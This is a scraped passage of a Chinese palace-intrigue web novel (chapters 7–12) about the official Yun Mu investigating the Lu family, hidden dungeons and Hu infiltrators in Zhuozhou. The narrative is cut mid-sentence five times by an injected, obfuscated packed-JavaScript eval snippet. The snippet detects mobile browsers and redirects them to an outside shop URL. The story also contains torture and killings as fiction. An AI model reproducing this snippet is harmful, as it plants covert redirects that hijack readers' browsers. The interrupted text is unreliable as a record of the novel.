一条竹叶青顺着桌腿爬上了桌,蛇尾圈住云暮的手腕后,它挑衅地冲沈聿明吐了吐信子。 沈聿明连人带椅退到榻上,连声道他错了:“因草民是苍山上的土匪,怕被大人抓捕入狱,这才在坦白前求大人恩典。” 云暮见他那样,嗤了一声,有一下没一下地抚摸着竹叶青的脊背:“只要你把知道的都说出来,本官自然恕你无罪。若是再多说一句废话,小青的毒牙就会刺破你的喉管。” 沈聿明见他没有把蛇丢出去的想法,只能抱着榻上的靠垫委委屈屈缩在角落。 “草民只是一个小土匪,昨儿下山打听消息,本想干票大的,结果听说死了人,夜黑风高的,草民不敢上山,就随意找了个林子凑合一晚。今儿天才蒙蒙亮,草民发现有人从林子里牵出一辆马车,便跟在后面出了城。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第七章 地牢里的女人 第二日一早,蒋其和冯章顶着乌黑的眼圈来回话,结果发现云暮和他们相比,有过之而无不及。 “大人连夜去审卢靖了?” “不知道啊。” 蒋其和冯章正弯腰低头挤眉弄眼,猜测云暮昨晚的去向。 云暮扫了他们一眼:“眼疾是病,得治,要不要本官亲自动手把你们眼睛剜出来治?” 蒋其瞬间站直,正了脸色,和方才判若两人:“大人,肉铺整夜无人进出。还有,那晚卢靖一直和狐朋狗友混在一起做那档子事,没有时间杀人抛尸。” 云暮并不意外:“小枫呢?” 一个身影自暗处走出:“大人,查清楚了。李氏肉铺乃知县兄长所开,因知县和羊八字不合,肉铺不曾卖过羊肉。但半个月前,知县又突然找算命先生算了一卦,先生说羊旺他,所以肉铺就进了羊肉回来,知县每次去肉铺都要拿上两斤羊肉,大小纸包都和上次拿到的一样。” 忌讳之类的东西,怎会随意更改?看来算命是假,以算命为名,堂而皇之为胡人办事才是真。 云暮三言两语把清风和沈聿明交代的事说了一遍:“去查查肉铺都给谁送货,再去查一个叫沈聿明的人,听说是苍山的土匪。” 昨夜刀都划破脖颈了,沈聿明却不见恐惧,这个山匪,有点意思。 “来人,云暮,你一个阉人还去寻花问柳,玩得明白吗你,还不快放本公子出去!” 昏暗的牢房里,卢靖正顶着一头乱糟糟的头发大声嚷嚷,住他隔壁的知县默默抬手捂住了耳朵。 这个纨绔昨晚醒来发现自己躺在牢房,闹了一宿,只得了一句大人不在县衙,再也无人搭理。 夜不归宿,都是男人,卢靖还有什么不懂的,只是他没想到云暮这个阉人这么变态,命根子都没了还不忘折腾人。 “我爹呢?我要见我爹!你们这群狗东西是吃了熊心豹子胆吗,竟然敢把本公子关在这里……” 一天没吃东西,还大闹了一场,此刻卢靖又渴又饿,他拍打着木门:“给本公子拿点吃的过来。” 衙役朝外行礼,而后头也不回地走了。 卢靖踹了下门:“本公子允许你走了吗,回来!放我出去!” 没一会儿,有人去而复返,钥匙和锁扣撞击的声音传来,卢靖冷哼了一声,“算你们识趣,等会儿让云暮来卢宅登门谢罪,再给爷爷我磕头认错,本公子考虑留你们一命……” 话还没说完,就被人扯了出来,来人劈头盖脸对他就是一顿打,足足打了两刻钟,云暮才叫人停手,“冯章,够了,可别把人打伤,否则怎么好跟卢家主交代。” 冯章又补了一脚:“属下的手法大人还不放心吗,就算把他打死,大夫也瞧不出半点伤。” 卢靖捂着脑袋蜷缩在地,听到云暮提起他爹,他忍痛抬起头,声音虚弱:“你们竟敢欺辱小爷,我爹不会放过你们的。” 冯章像拎小鸡崽一样把卢靖放在刑凳上,又拍了拍他的脸:“少家主,你爷爷云大人在这呢,嘴放干净点,就能少吃点苦头,否则就算你死在牢里,你爹闹到京城,我们家大人最多就禁足三天。” 卢靖何曾受过这种委屈,张口刚要开骂,又被冯章扇了一掌,他甩了甩手:“不小心手滑了,少家主没事吧?” 卢靖的胸膛急剧起伏,眼下他被捆住,又谁都打不过,只能怒视云暮。 云暮白衣胜雪,腰佩天子令,手握马鞭,一副世家公子的派头。 卢靖恨恨地想,再怎么伪装,也改变不了云暮是个阉人的事实。 他的目光上下扫视,最后露骨地落在对方是两腿之间。心道,云暮怕不是卖勾子才能得到皇帝的青眼。他虽不好男色,但云暮身段样貌都不俗,或许能试上一试。 云暮睥睨着卢靖,手中的马鞭狠狠地朝对方甩去,一连抽了几下,把人打了个半死才肯罢休,末了抽出腰间的匕首,一手掐住卢靖的脖子,刀尖抵在卢靖的眼珠前:“看在卢家主的面子上,本官留你一条狗命。若有下次,本官定剜下你的双眼,亲自把它们熬成汤送给卢家主喝。” 手上的力度不断加重,卢靖的脸色涨得通红。冯章怕他把人给弄死了,不得不硬着头皮出声:“大人。” 云暮这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632357|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才松开了手。 卢靖原本还仰着头大口喘气,察觉到身下的变化,他不可置信地低下了头。 冯章也是男人,自然闻出了那股腥气,他一言难尽地看着卢靖。 云暮帮文帝收拾过不少烂摊子,对这种气味并不陌生,她厌恶地扫了卢靖一眼,头也不回地往外走去。 卢宏正带着人站在县衙正堂。 “云大人,那日丑时到寅时,这些人都和靖儿在风月居,他根本没啥人,你也拘靖儿一天了,该放人了吧?” 云暮扯了扯嘴角,“行啊,冯章,去把人带来。” 卢靖奄奄一息地被两人抬了出来,卢宏见状,脸刷的一下白了,不顾老腰地扑上去试探他的鼻息,发现人还有气,忙指挥下人把人抬上马车。 卢宏看着气定神闲喝茶的云暮,恨不得把他碎尸万段,可是此刻他什么都做不了,只能撂下狠话:“云暮,若靖 儿有个三长两短,老夫就是拼了这条老命也要让你给他偿命!” 云暮端着茶杯站在卢宏面前,手中的天子令轻拍着他的脸:“卢家主,想要本官的命,你可得藏好小尾巴,要是不小心被本官抓住,别说卢靖,整个卢家你都保不住。” “还有,让卢靖管好他那双眼睛,再敢冒犯本官,下次就真的没命了。” 卢宏胸膛急剧起伏,差点背过气去。 风月居里,云暮带着衙役拿着木棍四处敲击,但都一无所获,随后她把目光放在了桌上的器物上。 她抄过不少人的家,有些人就爱在书房或者卧室建一间密室。云暮和伍华一个一个试了过去,最后只剩下床头的玉瓶。 伍华试探性地转动桌上的玉瓶,卧室的地上缓缓露出一条缝隙,缝隙越来越大,能容两人并肩而行。 二人对视了一眼,云暮率先走了下去,人刚下去,头顶的门轰然关上。 走了三十余级台阶才到底,没走几步,云暮目露惊骇。此处被人改成了地牢,每间牢房的高不过七尺,宽不过六尺,深不过五尺。 更令人齿冷的是,每间地牢都住着一个衣不蔽体的姑娘。 第八章 携酒而来 密道幽深不知通向何处,云暮骤然握紧灯笼:“走吧,看看这条密道通向何处。” 连走了半个小半个时辰,密道终于到了尽头,二人鬼鬼祟祟地从地下探出个头,看着装饰,是一间书房。 他们不知这是何处,正要跳上去查看,外面突然传来一个妇人的抱怨声:“老爷怎么一连几日都没有回来,是死在哪个相好的肚皮上了?” 另一道苦哈哈的声音响起:“夫人,知县大人上了值后再也没回来,也没让人带话,小的去县衙问了,那些人的嘴跟被针缝了一样,什么都不肯说。” 两人对视,都从对方眼中看到三个字:知县家。 按照原路回到风月居后,云暮飞速写下一封信,末尾盖上了她从不离身的私印,把信连同腰间的玉佩一同递给了伍华,又耳语了几句。 众目睽睽之下,云暮封了风月居,把十多个姑娘都带回来县衙,又挨家挨户地把那晚和卢靖在一起的人都揪了出来。 才刚开审,卢宏又带着人来了。 一早上就来了两次,他不烦云暮都烦了,“没空,晾着他。” 没见到人的卢宏直接硬闯牢房,但又恐惧冯章手中的剑,只敢在外面大声喧哗。自从风月居一事暴露,他便想带人去毁了密道,但云暮已经派人看住,他的人混不进去。 自打从风月居回来,云暮一直沉着脸,如今忙得脚不沾地,卢家主不仅带着人来闹事,还不分青红皂白地指责,她更是没有好脸色。 “卢宏,这里是县衙,不是你可以撒野的卢宅,那条密道是本官派人挖的吗?那些姑娘是本官塞进风月居陷害卢靖的吗?” 云暮点了点跟在卢宏身后的人:“还有你们,没权没势,钱也没几个的,回去烧香拜佛,祈祷你们孩子没有犯事吧,谁再来闹事,本官就杀了谁的孩子。” 那些人听完,当即抛弃卢宏,夺门而出。 云暮嘲讽地扫了卢宏一眼:“家主还不走?那看来卢靖伤得还不够重啊,正好这里需要他配合调查,不如家主把人给本官送回来?” 想起身上没有一块好皮的卢靖,卢宏的心一阵一阵的疼,问怎么得罪了云暮,也不开口,他上辈子真是欠了卢靖的。 “云大人,靖儿还在养伤,大夫说不宜挪动,老夫先告退了。” 就算卢宏万般不愿,卢靖最后还是被抬回了县衙。可是不管怎么问,他都只有一句:“让云暮来审我。” 都被云暮打成那样了,还要他来审,冯章不解:“少家主,早点交代,早点回去养伤,对我们都好。” 卢靖冷笑,鄙夷地看了冯章一眼:“谁跟你这种低贱的平民是我们?云暮什么时候来,我什么时候交代。” 冯章恨不得再给他一巴掌,得,这祖宗他不伺候了。 云暮没忍住翻了个白眼:“不交代就关着,等卢宏那老东西来了,让他去审。” 卢宏在家左右也等不到人,知晓地牢一事卢靖脱不了干系,夫人还一直在他耳边哭闹,他一个头两个大。 “卢宏,靖儿是我的命根子,我不管你用什么办法,赶紧把人接回来!不就是玩了几个姑娘吗,人又没死!” 妇道人家,头发长见识短,但卢宏也不敢和她呛声,只能低声安慰:“夫人放心,他们知道什么该说,什么不该说,等会儿我就去把靖儿接回来。” 卢靖一身伤地抬回来又抬出去,卢夫人怎么肯依?她继续撒泼:“你现在就去,牢房是靖儿能待的地方吗?她不放人就抢,大不了把靖儿送到外面,隐姓埋名一段时间,等风头过去了再接回来就是!” 卢宏双掌一拍,笑道:“夫人好计谋。” 他叫来管家,耳语了几句。管家张了张嘴,最后什么都没说就出去了。 是夜,月挂西边林梢,月华洒满庭院,万物俱寂,唯有风动树摇,簌簌作响。 云暮拈起一片吹到她面前的落叶,手腕翻转,落叶擦着墙上的人脸而过。 沈聿明自墙上落下,随手抹去脸上的血痕,不解:“怎么每次见大人,草民都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632358|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要见血呢?” 昨夜一夜未眠,今日又忙了一天,云暮整个人都是僵的,她捏着僵硬的脖颈径直往树下走去:“小贼行事鬼祟,怨不得旁人,来府衙作甚,自投罗网?最近牢房满了,沈公子等下一批吧。” 沈聿明提着酒壶紧随其后,大喇喇地坐在云暮身旁,又斟了两杯酒:“大人今天抓了不少人,威风得很,小贼特意顺了一壶美酒来祝贺,希望下次打家劫舍也能像大人查案这般顺利。” 他这般坦荡,云暮不知说什么好了:“你确定要当着朝廷命官的面说这些?” 沈聿明笑嘻嘻把手伸到云暮面前:“草民嘴里没个把门的,上次还不小心冲撞了大人,大人把草民拷了吧,草民以后定洗心革面,重新做人。” 云暮拂开他的手,拿起酒杯嗅了一下:“梨花白?” 沈聿明嗯了一声,轻碰了一下云暮的杯子:“味道很不错,也不会醉人,试试?大人上次没喝,草民觉得怪可惜的,又去买了一壶。” 酒香中带着清淡的梨花香,云暮把酒杯往后一递:“酒不错,冯章,赏你了,只此一杯。” “多谢大人!”冯章小心翼翼地捧着酒杯,生怕漏了一滴酒。他平生最爱喝酒,早年喝过涿州的梨花白,此后一直念念不忘,这次他死皮赖脸地跟着来,为的就是梨花白。可惜一来就遇到命案,以至于酒都没能喝上一口。 沈聿明单手撑着脸,眉目含笑地看着云暮:“草民觉得大人和传闻中的有所不同。” 云暮顺着他的话说下去:“那本官是不是应该面带獠牙面具,手拿狼牙棒?” 沈聿明在脑中想象了一下,噗呲一声笑了出来:“嗯,那样的话,就不仅能止小儿夜啼了,以后大人往牢房一站,那些人就什么都招了。” 云暮斜眼睨他:“是嘛,不如沈公子先来试试,如果不招,就把诏狱百八十道酷刑都用在你身上,如何?” 沈聿明拒绝的话还没说出口,云暮已抽出腰间的匕首挡下了一记飞刀,紧接着飞身上了屋顶。 第九章 生病 “就凭你们几个,也敢夜闯县衙?”云暮缓缓抽出腰间的软剑。 黑衣人没有说话,几人以围攻之势包围云暮,同时发难。 刀剑相击,发出铮铮声响,突然间,一个黑衣人自后方举刀劈下,云暮侧身避过,反手给了他一剑。 沈聿明瞥了一眼在旁品酒的冯章:“冯大人,你不去帮忙?” 冯章把杯中酒一饮而尽,咂了咂嘴,意犹未尽地说道:“他们哪是大人的对手,大人是拿他们松松筋骨呢。” 沈聿明把目光放回云暮身上,状似无意地开口:“你们大人的武功如此高强?” 冯章轻嗤了一声:“沈公子,大人的事,你还是少打听为妙。对了,下次莫要带酒了,我们大人不喝酒。” 动静不小,引来了巡逻的衙役,冯章挥手把人赶走:“无事,几个小贼罢了。” 两人纠缠着云暮,其中一个直奔牢房,冯章酒杯一扔,挡住了黑衣人的路。 软剑一挑,蒙面人的脸瞬间暴露,浓眉,眼窝深邃。云暮一抖软剑,软剑贴上黑衣人的腕骨,刚要把手绞断,一把长剑突然掷向云暮。 趁云暮躲闪,几人三两下就没了身影。 云暮懒得去追,轻飘飘地落回院里,招手叫来冯章:“身形高大,武功路数不似大梁人,不知他们是想劫狱还是要灭口,这几日多派些人看守,那些衙役若是不愿,就杀鸡儆猴。” “胡人那边还不知道是什么情况,蒋其他们回来之前,卢靖还不能死,若卢家和胡人联手,咱就难办了。” 云暮扫了一眼县衙,“今夜我守着,你回去歇息罢。” 冯章凑到他跟前,赞道:“属下可听说了,昨夜大人去了迎春楼,一夜未归,今日忙了一天也不见有半分疲色,大人真乃吾辈楷模。” 云暮抬脚就要踹他:“滚,否则赏你去住牢房。” 沈聿明冷眼看着他们低语,他日后定会和宫里的那几位对上,云暮这颗拦路石,他定要想方设法踢走,若是能拉拢过来为他所用,他会少许多麻烦。 在云暮转身之时,沈聿明眼中的冷意消散,重新挂上一抹温和的笑,言语追捧:“大人以一敌三,身手不凡。” 云暮满腹心事,疲于应付,“沈公子,夜深露重,你请回吧。” 沈聿明却不动身:“大人,宵禁到了,此时出去,定会被人抓住送到县衙,您不如收留我一晚?” 云暮不为所动:“怎么来的就怎么回,再不走,我便叫衙役亲自送你回去。” 沈聿明讨饶:“草民给了大人线索,怎么说也算是大人的功臣吧,大人还是这般铁面无私,当真无情。” 云暮把软剑束回腰上:“本官数五个数,再不走,你就去牢房待着吧。” 沈聿明知晓对方耐心告罄,不敢再撒娇卖痴:“草民告退。” 县衙重回宁静,云暮巡视了一圈,登高望远,她索性坐在了屋顶上。 连轴转了一天,这会子才能略松口气,热汗被秋风吹干,随之而来的是阵阵寒意。云暮畏寒,正要下去添衣,宋枫一手大氅一手纸包出现在身侧。 “大人,肉铺的肉只供酒楼和客栈,寻常百姓要买,只能去店里,属下今日也去买了肉,店家还送了一包料,说和肉炖煮不仅能去腥,还大补。” 云暮接过纸包,辨认其中的药材:“白芷、小茴香、香叶…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632359|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 最后只剩下一个长圆状的不知名药材。 “这是草果?” “非也。草果整个果实都有纵长条,它则不然,且草果的柱头并没有这般明显。”云暮双指用力,捏开了壳,褐色的种子掉落在纸上。有几粒悄然没入瓦片之中。 “你明日多买些肉,让店家多给些料。”云暮学医十余年,从未见过这种药材,心想,不如送去药王谷给师父瞧瞧,或许他老人家识得。 “是。”宋枫领命,又去打了盆水给云暮净手,临了又拿出一个食盒,里头是一碗热气腾腾的汤面,“衙里的厨房做的,听冯哥说大人忙了一天,只用了些浓茶,属下自作主张做了碗面。” 面条的香味混着蛋香,云暮才惊觉腹中空空,她接过碗,三两下碗便空了。 宋枫有些哭笑不得,接过他手中的空碗:“厨房还有,大人可要再添一碗?” 云暮指着院中的石桌“不了,把那壶酒处理了。” 宋枫眼瞬间一冷:“哪个不知死活的敢拿酒来孝敬大人?” 宫里宫外皆知,云暮不能饮酒,就连碰到都会起红疹。刚入宫时曾在宫宴上被人灌了壶酒,半只脚都踏进了阎罗殿,好在当日院使当值,才堪堪把人救了回来。 脚边的竹叶青顺着她的腿往她怀里攀,云暮拢了拢大氅:“无妨,他不知晓。” 宋枫默不作声地捏住竹叶青的七寸,把它丢了下去,半晌才道:“大人去歇着吧,属下在此处守着。” 身子吸了汗,冷风一吹,云暮头疼得厉害,没有拒绝,脚下借力跃到了门房:“有事就喊我。” 这章没有结束,请点击下一页继续阅读! 第十章 卢宅偶遇 “云暮,就算你是钦差大臣,也没有把人一直拘着的道理!今日你要不放人,我等血溅当场!” 云暮认得他,王实,是涿州有名的商户。 蒋其到涿州的那天晚上就已经把这些人的底细查清楚了,尤其王实。他仗着和卢家有几分关系,时常欺男霸女,夫人娶一个死一个,涿州没一户人家愿意让女儿嫁进王家。 云暮握拳抵唇压咳,右手接过冯章奉上的剑,长臂一挥,剑鞘脱落,不偏不倚地打掉来人的剑。 王实哎哟叫唤了一声,捂着手往后退,见云暮披着斗篷,摇头啧啧了两声:“恶事做多了,老天都看不下眼,如今才九月就披上了斗篷,这要是到飘雪的时候,那大人岂不是日日离不得床?” 话语轻佻,惹得众人哄笑。 王实看着云暮愈发阴沉的脸,边后退边大声喊:“来人,一起上,把这个祸乱朝纲的阉人就地正法!” 云暮自打进了冀州的地界,不曾动怒杀人,以致王实不把他放在眼里,只当他是只被拔了爪牙的病虎。 他和卢宏一样,老来得子,平日里当眼珠子一样宝贝着。想到儿子住在肮脏冰冷的牢房,卢宏又在一旁挑唆,他脑子一热就带了人过来。 云暮因卢家是世家大族,才让卢家主三分,王实是个什么东西,也敢对她大呼小叫? 手中长剑一掷,正中王实心口,人群一片哗然。 王实双眼瞪大,脸上满是骇然之色,似是不敢相信云暮敢在大庭广众之下杀人,他低头看了看胸口的剑,又抬头看了一眼云暮,最后无力地倒在地上。 余下之人弃刃,自发让出一条道。 云暮脚下未动,声音响彻衙门正堂:“还有谁想要探视吗?” 声音沙哑,面色苍白如纸,宽大的黑色斗篷罩在她身上,有些空荡,活像从地狱爬上来索命的黑无常。 人人自危,无敢应答,恐云暮急眼拎剑再掷。 “既然没有,为何不走,难道是想留在县衙用早膳?” 顷刻间,县衙内外之人纷纷做鸟兽散。脚还未落地,又听得一声‘慢着’,众人顿时僵在原地,头却是不敢往旁边扭。 “把人带走。” 落在后头之人抖手拔剑,又擦拭干净才敢双手奉上。 扛人的扛人,清扫的清扫,正堂焕然一新,血腥之气无处可寻。 云暮低咳了几声,把剑递到一旁:“卢靖还在牢里,卢宏居然没来?” 卢宏不搞点事情出来,云暮总觉得有些不安。 “属下也觉得奇怪,前几次卢靖前脚到县衙,卢宏后脚就来了,咱这次都把人关一夜了,他居然能忍着不来。” 宋枫端了药来,不由分说地把人往一旁的耳房里推:“大人,外面风大,你回去歇着吧。” 关门之际还不忘指责冯章:“冯哥也是,不过是几个闹事的人,哪里就用得着大人亲自动手。” 冯章朝宋枫竖了拇指,他们几个虽然敢与云暮调笑几句,但唯有宋枫敢直接干涉云暮之事还不被罚。无他,只因为他是云暮捡回来的疯狗。平日里有云暮栓着,倒也无碍,可背着云暮是何等光景,这就难说了。 云暮一口把药喝完:“查到胡人的踪迹了吗?” 宋枫收了碗:“不曾,只查到他们在客栈住过,但前几日就搬走了,如今不知所踪,属下曾在涿州悬赏胡人的消息,但无一人敢来。” 财帛动人心,但也要有命花才是。赏金这般高却无人敢告知,是因为身家性命被人捏在手里,而涿州最有权势的无非是卢家。 云暮突然有了主意:“卢靖还没招吧?” 得到答案后,她当即去了牢房。 卢靖一身伤,在牢房也睡不踏实,血丝布满无神的双眼,直至一双黑色的鞋面站在他牢房门口。 他靠在门边,微微仰头:“云暮,你来了,我要是全招了,你给我什么奖励?” 云暮蹲在他身边,轻声道:“赏你一顿鞭子,要不要?” 卢靖的配合超出了衙役的想象,签字画押,一气呵成,看来还得是云大人出手。 当卢宏听到云暮送卢靖回卢宅时,他正在书房和沈聿明密谈。听到消息后,他着急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632360|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙慌地跑了出去。 卢靖远远看到他爹娘,出声提醒:“云大人,可莫要忘了允我的好处。” 云暮折下一朵开得正好的菊花,随手插在他的发间:“那卢公子可莫要离开涿州,否则奖励可就没了。” 卢靖扯下菊花,看着云暮的背影,轻声呢喃:“云暮,你会落到我手里的。” 云暮猝不及防地和跟在卢宏身后的沈聿明对上视线:“家主,这位是……” 她虽然还搞不清状况,但装不认识就对了。 卢宏笑脸一滞,他只记得卢靖,倒是把沈聿明忘了。今日请沈聿明来是想邀对方和一起做桩买卖。才刚给对方分析了形势,云暮就来了。 云暮来后,他的养老生活是一刻也不得安宁,可见是云暮克他。 “这是公子,老夫和他也是偶然结识。” 云暮哦了一声,没再追问,反倒四下逛起了卢宅。 “来之前皇上就跟本官说过,涿州菊花一 绝,卢宅的更甚,今日一见,果真不是凡品。” 卢宏不禁得意:“不是老夫夸大,大人你瞧这几株,再过几日要送去京城献给陛下的。每到这个时候,陛下勤政殿里的菊花都是从卢宅出去的,大人在御前伺候,想必也是见过的吧。” 云暮越看这花越觉得熟悉,沉思了片刻终于记起,这不就是她从勤政殿揪下来泡茶喝的吗。 皇帝见她喜欢,每次花一到就让人送去她府上。 她干笑了两声:“自然见过。” 再往里,卢宏就不许他们进去了,云暮给宋枫打了手势,便跟着卢宏去了正厅。 和其他宅院不同,卢宅的正厅建了三层。云暮站在最顶层,俯瞰着整个涿州。 长安大街始于卢宅,终于城门,中间横亘着洛阳大街。 云暮睨着卢宏。他还真是胆大包天,竟然敢一比一复刻京城的布局。梁文帝是在洛京掌管天下的皇帝,他卢宏是在涿州掌管冀州的土皇帝? 难怪之前这么抵触她来卢宅一事,那现在为什么把她迎上了楼,不怕她去御前告状? 第十一章 宝物 昨夜寅时二刻,沈聿明从县衙出来后,小心翼翼地避开巡街的衙役,从城北到了城南的李氏肉铺。 一个面容粗犷,腰佩弯刀的胡人自暗处走出,脖上挂着的狼牙在月光下泛着柔和的光。见到沈聿明,他单膝跪地行礼:“属下见过公子。” 沈聿明嗯了一声,没让人起身:“兰百长今夜为何派人去县衙?” 声音平淡,听不出情绪,兰维有些拿捏不准他的想法,但也没敢隐瞒:“卢宏想劫狱,让我们替他去县衙探探虚实。” 劫狱?凭他府上那些草包护院还是兰维带的这群小喽啰?卢宏的脑子是怎么想的? “你回去劝卢宏杀了云暮。” 兰维的脑袋有些发懵,他感觉有点听不懂自家公子的话,那可是朝廷命官,说杀就杀吗? “杀云暮?他得罪公子了?” 沈聿明轻掀眼皮:“本公子做事如今都要向兰百长一一解释了吗?你若不愿,我可修书一封送去北地,换个人来杀。” 兰维跪下认错:“属下不敢。” 兰氏一族犯了错被放逐,除非戴罪立功,否则永世不得回族。若非他在涿州发现公主之子,戴罪立功,兰氏族人还要颠沛流离。若他此番能助公子坐上龙椅,别说骨都侯,便是谷蠡王他也做得。 沈聿明见他识趣,才复笑:“百长和手下近来都住在卢家?” 一个月了,沈聿明见他的次数屈指可数,更不曾主动过问,现在终于被他的诚心打动了吗? 兰维不疑有他,老实作答:“只有属下和五个什长住在卢宅,其余人散在各家,以奴仆的身份随侍。” 难怪近来查不到他们的下落。 沈聿明伸手扶起兰维,暗自加大筹码:“你最近多劝劝卢宏,杀云暮,夺天子令,号令百官,拥本公子上位,倒是你就是功臣,兰氏一族将一人之下万人之上。” 兰维大喜:“公子,你终于想通了,你放心,属下定不辱命。” 沈聿明弯了弯眼,笑意却不达眼底:“是啊,本公子想通了。” 胡人这几年的动作他有所耳闻,边在京中勾结边吊着他,两头讨好。他留在涿州是想等一个时机,没想到等来了云暮。不过这样也好,非我族类,其心必异,以他们之命换云暮一个承诺,也不算白费。 临走前,他才想起此事:“卢宏还不知晓我的身份吧?” 兰维茫然道:“还不知。” 沈聿明才放心:“不必告诉他,对外只许说本公子是山匪,身份败露的话,咱都得死。” 翌日一早,他回了一趟苍山,把人都召了回来。 “如今我们借云暮之势进京是最好的法子,他派人去邢州借兵了,朝廷的文书也会八百里加急送到涿州。卢宏要杀,胡人也要杀,所以我们得帮云暮一把,你们可有异议?” 为首的钟叔有些为难:“可我们的身份……我们死了倒不要紧,只是公子怕是会受牵连。” 沈聿明摆摆手:“这个不是什么大事,到时我求云暮一个恩典,把功劳全推在他身上即可。况且当年的事已经过去了二三十年,你们的面容也不似当年,他们未必认得出。” 看他们还是犹豫,沈聿明只好道:“你们若是惶恐,便留在此处,我寻到机会定会给镇北侯翻案。” 此事不易,可能还会有性命之危,沈聿明和此事无关,钟叔也不忍让他独自前行。 “罢了,回京吧。” “是该回京了。” 云暮拿起灯罩,点燃了伍华送来的信。 从卢家回来后,她和沈聿明私下见了一面,互换了消息,听完沈聿明的计划,她不免咂舌,没想到一个山匪头子的野心竟然这么大,但当她问他想要什么赏赐时,沈聿明没有明说。 她倒是不怕对方狮子大开口,名、利、钱、权或是美人,她都能允。 思绪被外面的刀剑声打断。 一连几日,县衙总遭胡人侵扰,县衙之人烦不胜烦。 云暮倚在柱上,看着冯章与胡人过招,察觉胡人有退意,她出声提醒:“冯章,捉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632361|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活的。” 因前几日云暮不与他们纠缠,今夜他们牙中并未藏毒,此刻是后悔万分。 云暮拿出那把匕首,抚过刀柄处的‘李’字,她想不出是谁。朝中手握重权之人并无李姓,如今后宫最得圣宠的妃子不外乎是贵妃,但贵妃姓何。 “这李字是何意?” 胡人闭眼不答。 云暮错开一步,冯章拿着刑具替了她的位置,手还未落下就被云暮拦下:“我亲自来。” 从怒声辱骂到呜咽求饶不过也才小半个时辰,云暮还当他们有多硬气呢。 “李是何意?” 胡人奄奄一息地说道:“不……不知,这是兰百长的东西,他随身佩着,前几日不见了踪影,后面又重新佩上了。” 一旁的人把锁链拽得叮当响:“你敢背叛百长!” 云暮反手抹了他的脖子,又问:“兰百长是何人?” 胡人不敢隐瞒,把他知道的事都吐了出来,:“大人,小人知道的只有这些了。” 被放逐还能重返族群,看来这个宝物不一般,云暮问了最后一个 问题:“宝物可在涿州?” 胡人对此并不知情:“小人只知匕首是百长来涿州后才得到的。” 发现宝物得匕首,而且不止一把,不然他们不会随意丢弃。当初她爹娘定是发现了什么才被灭口,那把匕首便是背后之人的赏赐。 她拼命压下去卢府活捉兰百长上想法,如今时机还未成熟,不能贸然行动。 火盆里,木柴哔吧作响,火星溅到云暮的衣摆,灼出一个个小洞,她恍若未觉。 宋枫把那个不知名的药材递给云暮:“大人,他们对这个东西知之甚少,只知晓是给人吃的,但兰百长不许他们碰。” 涿州百姓没有集体毒发,云暮没当回事:“给他们一个痛快,丢进卢府那个不许人进出的小院。” 那日在卢府,宋枫去探查了卢宏不许他们去的地方,发现有几个胡人住在里面,难怪他们查不到行踪。 第十二章 涿州变天 “欺人太甚!” 卢宏一家正用着早膳,兰维提着两具尸体出现,把几人吓了一跳。 “家主,天天都有手底下的人去送命,云暮不时上门挑衅,你还在等什么?再这样下去,这涿州就要改姓云了。” 卢夫人捂住卢靖的眼,想把人带出去,却被卢靖挣脱:“娘,你们是想杀了云暮吗?” 养伤期间,卢靖沉稳了不少,卢夫人心疼不已:“是,他差点就把你打死了,这个仇我们如何咽得下?” 